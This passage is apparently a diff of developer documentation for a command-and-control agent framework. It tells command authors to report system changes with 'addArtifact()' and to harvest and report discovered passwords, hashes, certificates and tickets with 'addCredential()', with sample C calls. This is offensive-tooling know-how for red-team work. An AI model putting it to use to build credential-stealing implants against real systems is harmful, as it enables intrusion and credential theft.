1. **Artifact reporting**: Commands that modify system state (create processes, write files, modify registry, create network connections, etc.) should include artifact reporting using the `addArtifact()` helper function. See [Artifacts Support](#artifacts-support) for details.
2. **Credential reporting**: Commands that discover or extract credentials (passwords, hashes, certificates, keys, tickets, cookies) should report them using the `addCredential()` helper function. Commands that read files should analyze content for credentials and report any found. See [Credentials Support](#credentials-support) for details and examples.
1. **Define command in Python** (`agent_functions/my_command.py`):
@@ -731,6 +891,15 @@ BOOL myCommandHandler(PAnalizador argumentos) {
// - If modifying registry: addArtifact(respuesta, "Registry Write", reg_key);
// - If creating network connections: addArtifact(respuesta, "Network Connection", connection_info);
// IMPORTANT: Add credentials if this command discovers or extracts credentials
// Examples:
// - Plaintext password: addCredential(respuesta, "plaintext", "DOMAIN", "password123", "username");
// - Hash: addCredential(respuesta, "hash", "", "aad3b435b51404ee...", "Administrator");
// - Domain account (dominio\usuario): addCredential(respuesta, "plaintext", "DOMAIN", "password", "username");
// - Format usuario@dominio: addCredential(respuesta, "plaintext", "domain.com", "password", "username");
// - Certificate: addCredential(respuesta, "certificate", "", "cert_data", "account_name");
// - For file reading commands, analyze content and report found credentials (see cat command example)
Analizador* resp = mandarPaquete(respuesta);
liberarPaquete(respuesta);
if (resp) liberarAnalizador(resp);